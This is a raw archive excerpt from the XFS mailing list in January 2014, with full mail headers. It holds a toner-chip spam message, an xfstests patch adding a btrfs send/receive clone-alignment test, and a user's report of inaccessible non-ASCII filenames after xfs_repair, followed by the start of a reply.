by relay3.corp.sgi.com (Postfix) with ESMTP id C6226AC001 for ; Sat, 11 Jan 2014 06:49:28 -0800 (PST) X-ASG-Debug-ID: 1389451764-04cb6c537dd21e00001-NocioJ Received: from smtpbgau1.qq.com (smtpbgau1.qq.com [54.206.16.166]) by cuda.sgi.com with SMTP id 1H7AbMe4En7Yan7l for ; Sat, 11 Jan 2014 06:49:25 -0800 (PST) X-Barracuda-Envelope-From: linda.toner@pcc-chips.com X-Barracuda-Apparent-Source-IP: 54.206.16.166 X-QQ-mid: bizesmtp9t1389451760t486t218 Received: from PC-20130610DSDO (unknown [121.204.60.210]) by esmtp4.qq.com (ESMTP) with SMTP id 0 for ; Sat, 11 Jan 2014 22:49:20 +0800 (CST) X-QQ-SSF: 0120000000200040FN12000A0000000 X-QQ-GoodBg: 0 Subject: Re: china supplier for toner chips Content-Type: multipart/alternative; charset=UTF-8; boundary="Hf5FqUEtrYCEij2gM=_C8nB7qTaSQYpojk" X-ASG-Orig-Subj: Re: china supplier for toner chips MIME-Version: 1.0 Date: Sat, 11 Jan 2014 22:49:15 +0800 From: "PCC" To: xfs@oss.sgi.com Reply-To: "PCC" X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbgau1.qq.com[54.206.16.166] X-Barracuda-Start-Time: 1389451765 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.14 X-Barracuda-Spam-Status: No, SCORE=1.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DEAR_FRIEND, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143973 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 1.00 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20140111144928.1C3621296195@cuda.sgi.com> This is a multi-part message in MIME format --Hf5FqUEtrYCEij2gM=_C8nB7qTaSQYpojk Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline Dear Friend, =20 Nice day to you. =20 We are PCC in China, exporting good quality toner chip for Samsung, HP= , Xerox, Konica minolta, Dell,=20 Epson, Oki, Sharp, Canon, Kyocera, Utax, Toshiba, Ricoh etc. Our hot s= elling chips as follows: =20 Chips Samsung MLT-D101 Chips Samsung MLT-D103 Chips Samsung MLT-D117 Chips Samsung MLT-D115 Chips Samsung MLT-D116S Chips Samsung MLT-D203S/203L/205E Chips xerox 3010, Chips xerox 5225,=20 Chips xerox 3220,=20 Chips xerox wc5016,=20 Chips xerox 3140,=20 Chips xerox dc250/ dc260; Chips Ricoh mpc 3500, Chips Ricoh mpc 2500,=20 Chips Ricoh mpc 4500,=20 Chips Ricoh mpc 3000,=20 Chips Ricoh 3200, 3300; Chips HP CE390X/CC388A/CB435A/CB436A/CE278A/CF280X/CE255X=20 Chips HP CE285A/CE278ACB436A/CB435A/CE505A/CE255A/CC364A=20 Chips HP CF214A, CF214X,=20 Chips HP CE 340A CE 341A CE 342A CE 343A =20 If any news or question, please let me know and talk more. =20 best regards ------ Anderson pcc-online(dom)com(dom)cn MSN:printer_chips@hotmail.com Skype: toner_linda ICQ: 697-871-867 --Hf5FqUEtrYCEij2gM=_C8nB7qTaSQYpojk Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: Quoted-Printable Content-Disposition: inline hot chips-1

Dear Friend,

 

Nice day to you.

 

We are PCC in China, exporting good quality toner chip for Samsung,= HP,=20 Xerox, Konica minolta, Dell,

Epson, Oki, Sharp, Canon, Kyocera, Utax, Toshiba, Ricoh etc. O= ur hot=20 selling chips as follows:

 

Chips Samsung MLT-D101
Chips Samsung MLT-D103
Chips Samsung=20= MLT-D117
Chips Samsung MLT-D115
Chips Samsung MLT-D116S
Chips= Samsung=20 MLT-D203S/203L/205E

Chips xerox 3010,
Chips xerox 5225,
Chips xerox 3220,
Ch= ips xerox=20 wc5016,
Chips xerox 3140,
Chips xerox dc250/ dc260;

Chips Ricoh mpc 3500,
Chips Ricoh mpc 2500,
Chips Ricoh mpc = 4500,=20
Chips Ricoh mpc 3000,
Chips Ricoh 3200, 3300;

Chips HP CE390X/CC388A/CB435A/CB436A/CE278A/CF280X/CE255X
Chips= HP=20 CE285A/CE278ACB436A/CB435A/CE505A/CE255A/CC364A
Chips HP CF214A, C= F214X,=20
Chips HP CE 340A CE 341A CE 342A CE 343A

 

If any news or question, please let me know and talk more.

 

best regards

------

Anderson

pcc-online(dom)com(dom)cn

MSN:printer_chips@hotmail.com

Skype: toner_linda<= /FONT>

ICQ:=20 697-871-867

--Hf5FqUEtrYCEij2gM=_C8nB7qTaSQYpojk-- From fdmanana@gmail.com Sat Jan 11 15:37:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 04EED29DF8 for ; Sat, 11 Jan 2014 15:37:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E93158F8035 for ; Sat, 11 Jan 2014 13:37:18 -0800 (PST) X-ASG-Debug-ID: 1389476233-04cb6c537bd2c500001-NocioJ Received: from mail-wi0-f179.google.com (mail-wi0-f179.google.com [209.85.212.179]) by cuda.sgi.com with ESMTP id 4HpnJXBWeHzzpFX5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 11 Jan 2014 13:37:14 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.179 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.179] Received: by mail-wi0-f179.google.com with SMTP id z2so879324wiv.0 for ; Sat, 11 Jan 2014 13:37:13 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.179] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.179] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=7QhSZZYWBWWkk0VKuG3Ny5lF1iXCm+KmJYEkro1K/O8=; b=p6z+ATxg+MMmFnJRyBLtQVe3WxtvmripCbbjxJl2+Byhqqj2zbxLg20QCr/gEWRN2z 8vRYAKzjHJy8Qsm+UJ3zUSO53fmIpxQM02Hgty+VAtb+uN02HhxTjRDVQ/F5GTf60qBu /mzGdEd1UDq7473hbtGoE20xGg/3rXO7i4cLaYjc8+LKp+q1aPiGOb0vjoHabW0ErfRn lzaAQ/72qdr8re322TNVRGPjTO2EvUjuZnFn22AbdmwBOw8X5nMlR0gXgn/1In8BKqU6 fT4pexDk23WAR5b2P2TnywicZhpvT45/BkyblVV4utg4njuAogKV882SAp+pbONETFoS DJTw== X-Received: by 10.180.20.15 with SMTP id j15mr8667155wie.4.1389476233441; Sat, 11 Jan 2014 13:37:13 -0800 (PST) Received: from storm-desktop.lan (bl10-142-79.dsl.telepac.pt. [85.243.142.79]) by mx.google.com with ESMTPSA id j9sm7511752wjz.13.2014.01.11.13.37.07 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 11 Jan 2014 13:37:13 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: test btrfs send issue with non-aligned clone operations Date: Sat, 11 Jan 2014 21:36:42 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: test btrfs send issue with non-aligned clone operations Message-Id: <1389476202-19683-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wi0-f179.google.com[209.85.212.179] X-Barracuda-Start-Time: 1389476234 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143982 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for an issue in btrfs send where it sent clone operations to user space with a range (offset + length) that was not aligned with the block size. This caused the btrfs receive command to send such clone operations to the ioctl clone API, which would return -EINVAL errors to btrfs receive, causing the receive command to abort immediately. This corresponding btrfs linux kernel patch that fixes this issue is at: https://patchwork.kernel.org/patch/3470401/ Signed-off-by: Filipe David Borba Manana --- tests/btrfs/025 | 98 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/025.out | 18 ++++++++++ tests/btrfs/group | 1 + 3 files changed, 117 insertions(+) create mode 100755 tests/btrfs/025 create mode 100644 tests/btrfs/025.out diff --git a/tests/btrfs/025 b/tests/btrfs/025 new file mode 100755 index 0000000..5f13832 --- /dev/null +++ b/tests/btrfs/025 @@ -0,0 +1,98 @@ +#! /bin/bash +# FS QA Test No. btrfs/025 +# +# Test for an issue in btrfs send where it sent clone operations to user +# space with a range (offset + length) that was not aligned with the block +# size. This caused the btrfs receive command to send such clone operations +# to the ioctl clone API, which would return -EINVAL errors to btrfs receive, +# causing the receive command to abort immediately. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` + +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +$XFS_IO_PROG -f -c "truncate 819200" $SCRATCH_MNT/foo | _filter_xfs_io +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch + +$XFS_IO_PROG -c "falloc -k 819200 667648" $SCRATCH_MNT/foo | _filter_xfs_io +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch + +$XFS_IO_PROG -f -c "pwrite 1482752 2978" $SCRATCH_MNT/foo | _filter_xfs_io +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ + _filter_scratch + +$XFS_IO_PROG -f -c "truncate 883305" $SCRATCH_MNT/foo | _filter_xfs_io +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch + +$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ + _filter_scratch + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch +$BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap 2>&1 | _filter_scratch + +md5sum $SCRATCH_MNT/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch + +$BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/025.out b/tests/btrfs/025.out new file mode 100644 index 0000000..aaad4ab --- /dev/null +++ b/tests/btrfs/025.out @@ -0,0 +1,18 @@ +QA output created by 025 +FSSync 'SCRATCH_MNT' +FSSync 'SCRATCH_MNT' +wrote 2978/2978 bytes at offset 1482752 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +FSSync 'SCRATCH_MNT' +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap1' +FSSync 'SCRATCH_MNT' +Create a readonly snapshot of 'SCRATCH_MNT' in 'SCRATCH_MNT/mysnap2' +At subvol SCRATCH_MNT/mysnap1 +At subvol SCRATCH_MNT/mysnap2 +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/foo +42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo +At subvol mysnap1 +42b6369eae2a8725c1aacc0440e597aa SCRATCH_MNT/mysnap1/foo +At snapshot mysnap2 +129b8eaee8d3c2bcad49bec596591cb3 SCRATCH_MNT/mysnap2/foo diff --git a/tests/btrfs/group b/tests/btrfs/group index 87e7bca..1a4dad8 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -27,3 +27,4 @@ 022 auto 023 auto 024 auto quick +025 auto quick -- 1.7.9.5 From zach@kotlarek.com Sun Jan 12 07:28:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 441B37F3F for ; Sun, 12 Jan 2014 07:28:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C2922AC003 for ; Sun, 12 Jan 2014 05:28:36 -0800 (PST) X-ASG-Debug-ID: 1389533314-04cb6c537ed4e230001-NocioJ Received: from mail.uberzach.com (rondo.uberzach.com [64.22.125.169]) by cuda.sgi.com with ESMTP id hEI0QUpLAiRiPRus (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 12 Jan 2014 05:28:35 -0800 (PST) X-Barracuda-Envelope-From: zach@kotlarek.com X-Barracuda-Apparent-Source-IP: 64.22.125.169 Received: from [172.19.7.2] (unknown [74.93.97.69]) (Authenticated sender: profplump) by mail.uberzach.com (Postfix) with ESMTPSA id B3E8158070 for ; Sun, 12 Jan 2014 05:28:32 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=kotlarek.com; s=default; t=1389533313; bh=yN6P5RCxSgvmw1a0ZrPceNxcHf3fAP2JaQLzZ6z4a4Y=; h=From:Content-Type:Subject:Message-Id:Date:To:Mime-Version; b=DCAhWLcS1I3WmKyknF0WKLhhR30uLRA6Zyq0jUaTbqwOK9SwT5xxOc+zTbvFybCqo oMxrP5sV9ar0E84mSJ7ywfup0O8e3VwpCieWL4eRzMPYX2ldwQyY5ci+PTZIG0KQ/M ezSXqotP76AxVYlPyiBxoDt7cakMKd3esifh5Nps= From: Zachary Kotlarek Content-Type: multipart/signed; boundary="Apple-Mail=_79EA3A49-24DA-4006-A387-93EAC9E1CBA3"; protocol="application/pkcs7-signature"; micalg=sha1 Subject: Files with non-ASCII names inaccessible after xfs_repair Message-Id: X-ASG-Orig-Subj: Files with non-ASCII names inaccessible after xfs_repair Date: Sun, 12 Jan 2014 05:28:29 -0800 To: xfs@oss.sgi.com Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: rondo.uberzach.com[64.22.125.169] X-Barracuda-Start-Time: 1389533315 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144003 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature --Apple-Mail=_79EA3A49-24DA-4006-A387-93EAC9E1CBA3 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 My XFS filesystem dismounted while copying a ~3 GB file. I won=92t claim = to know why; I=92m fairly confident only that 1 file was being modified = at the time. The log replayed cleanly when remounting, but attempting to = remove the file in question caused the same dismount. So I ran xfs_repair. It put one file in lost+found (which appears to be = written when if failed initially) and reported a number or warnings to = the effect of: bad hash table for directory inode 2054 (hash value mismatch): = rebuilding rebuilding directory inode 2054=20 which I didn=92t take to be serious, though I suspect now that=92s where = things went wrong. I now have 23 directories (matching the 23 =93rebuilding" messages) = where a file or directory with non-ASCII characters in the name exists = in the directory list but cannot be read or deleted: ls -la ls: cannot access 07 - Se=F1or Macho Solo.m4v: No such file or directory -rw-rw----+ 1 profplump media 332M Sep 11 2010 06 - Christmas = Special.m4v ??????????? ? ? ? ? ? 07 - Se??or Macho = Solo.m4v -rw-rw----+ 1 profplump media 304M Sep 11 2010 08 - Flu Shot.m4v So the file exists in the directory listing (`ls` and `find` can both = see it) but I cannot delete or stat or open it. If I touch the affected = filename I get a second entry in the directory listing, both apparently = pointing to the same, new, empty file. If I then delete the same = filename I get back to the original state =97 a single, unusable = directory entry. I=92d like to (if possible) re-link those directory listings to the = related files, or at least delete them so the files can be restored and = folders can be used normally. I=92m also worried that running xfs_repair = in the future might re-create this problem. But I don=92t even know where to start in trying to fix this. And I = still cannot delete the file that started this whole sequence of events. = So if anyone has suggestions I=92d be happy to hear them. Zach --Apple-Mail=_79EA3A49-24DA-4006-A387-93EAC9E1CBA3 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGGTCCBhUw ggP9oAMCAQICAQEwDQYJKoZIhvcNAQEFBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApXYXNo aW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMRUw EwYDVQQDDAx1YmVyemFjaC5jb20xIDAeBgkqhkiG9w0BCQEWEXphY2hAa290bGFyZWsuY29tMB4X DTEzMDgxMzAwMjMzM1oXDTE4MDgxMjAwMjMzM1owgZIxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApX YXNoaW5ndG9uMRAwDgYDVQQHDAdTZWF0dGxlMRwwGgYDVQQKDBNaYWNoYXJ5IFAuIEtvdGxhcmVr MRwwGgYDVQQDDBNaYWNoYXJ5IFAuIEtvdGxhcmVrMSAwHgYJKoZIhvcNAQkBFhF6YWNoQGtvdGxh cmVrLmNvbTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANL424NB+EzPp7/CqB/kxV+u 7MSpl9A8NlMqLldoPPJjpEwH9+4wfYrx+yUOBddih4WIgCD9NiF41+9tHu9gUqm+PZT8kdGXUIRP fuQuwKyzAv0rSyydXBQD/Q/gRrFaEJvJ5wVUxgE51K/ugGATmyWTSeMwATOJR4qTs1u2dfxBliyR xc2LCJCAgvuonwhfP1JprFYz+ycmlb/od3cAC5+8ggof5YJiitsUM6FPQtDykGPNWxhFnBwrVlQ+ vAxA1aT2v33C4MMK3hY3Ik8BUCZrAr4r/eWDSCBmcQydoawrUllAzEsVuozYqOW+EwbFp9RFDAZZ UZH/pMSEK5v2yQcf2m3zx4+9S5fLbvX660DFY90C1GSt9MyDjfpgx+Mtx7RtJI2abcei2PEXt38p U2aLypsHWsdloWhouzM4JpTkDXqCyUOm5hkUPgMdOXKHY5jCj0e7ok/Rknty7fJjolo4uyOKfJHQ cjoU1xuzA8ob0i8zufIL03FUK72dWL7xyAGjRs4Hsa6xd/SbPYGvYHJ2afxLeTDPZwzrLErxn9no E0wkAPnV0MfYbB+0Y/+Xaa2KIUflawzh3iQVkohrzmE9PU3gjiQJ9UqYtvx8HrUK2eEjCRinnSd5 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 8UWvrqoVWQAAAAAAAA== --Apple-Mail=_79EA3A49-24DA-4006-A387-93EAC9E1CBA3-- From stan@hardwarefreak.com Sun Jan 12 12:47:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AFF1B7F3F for ; Sun, 12 Jan 2014 12:47:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9B6C58F8054 for ; Sun, 12 Jan 2014 10:47:51 -0800 (PST) X-ASG-Debug-ID: 1389552470-04cb6c537bd5aca0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 0gAMRPS4biUscZ3m for ; Sun, 12 Jan 2014 10:47:50 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 43F3B6C0BD; Sun, 12 Jan 2014 12:47:50 -0600 (CST) Message-ID: <52D2E358.6070106@hardwarefreak.com> Date: Sun, 12 Jan 2014 12:47:52 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Zachary Kotlarek , xfs@oss.sgi.com Subject: Re: Files with non-ASCII names inaccessible after xfs_repair References: X-ASG-Orig-Subj: Re: Files with non-ASCII names inaccessible after xfs_repair In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1389552470 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/12/2014 7:28 AM, Zachary Kotlarek wrote: > My XFS filesystem dismounted while copying a ~3 GB file. I wont > claim to know why; Im fairly confident only that 1 file was being > modified at the time. The log replayed cleanly when remounting, but > attempting to remove the file in question caused the same dismount. > > So I ran xfs_repair. It put one file in lost+found (which appears to > be written when if failed initially) and reported a number or > warnings to the effect of: bad hash table for directory inode 2054 > (hash value mismatch): rebuilding rebuilding directory inode 2054 > which I didnt take to be serious, though I suspect now thats where > things went wrong. > > I now have 23 directories (matching the 23 rebuilding" messages) > where a file or directory with non-ASCII characters in the name > exists in the directory list but cannot be read or deleted: > > ls -la ls: cannot access 07 - Seor Macho Solo.m4v: No such file or > directory -rw-rw----+ 1 profplump media 332M Sep 11 2010 06 - > Christmas Special.m4v ??????????? ? ? ? ? > ? 07 - Se??or Macho Solo.m4v -rw-rw----+ 1 profplump media 304M 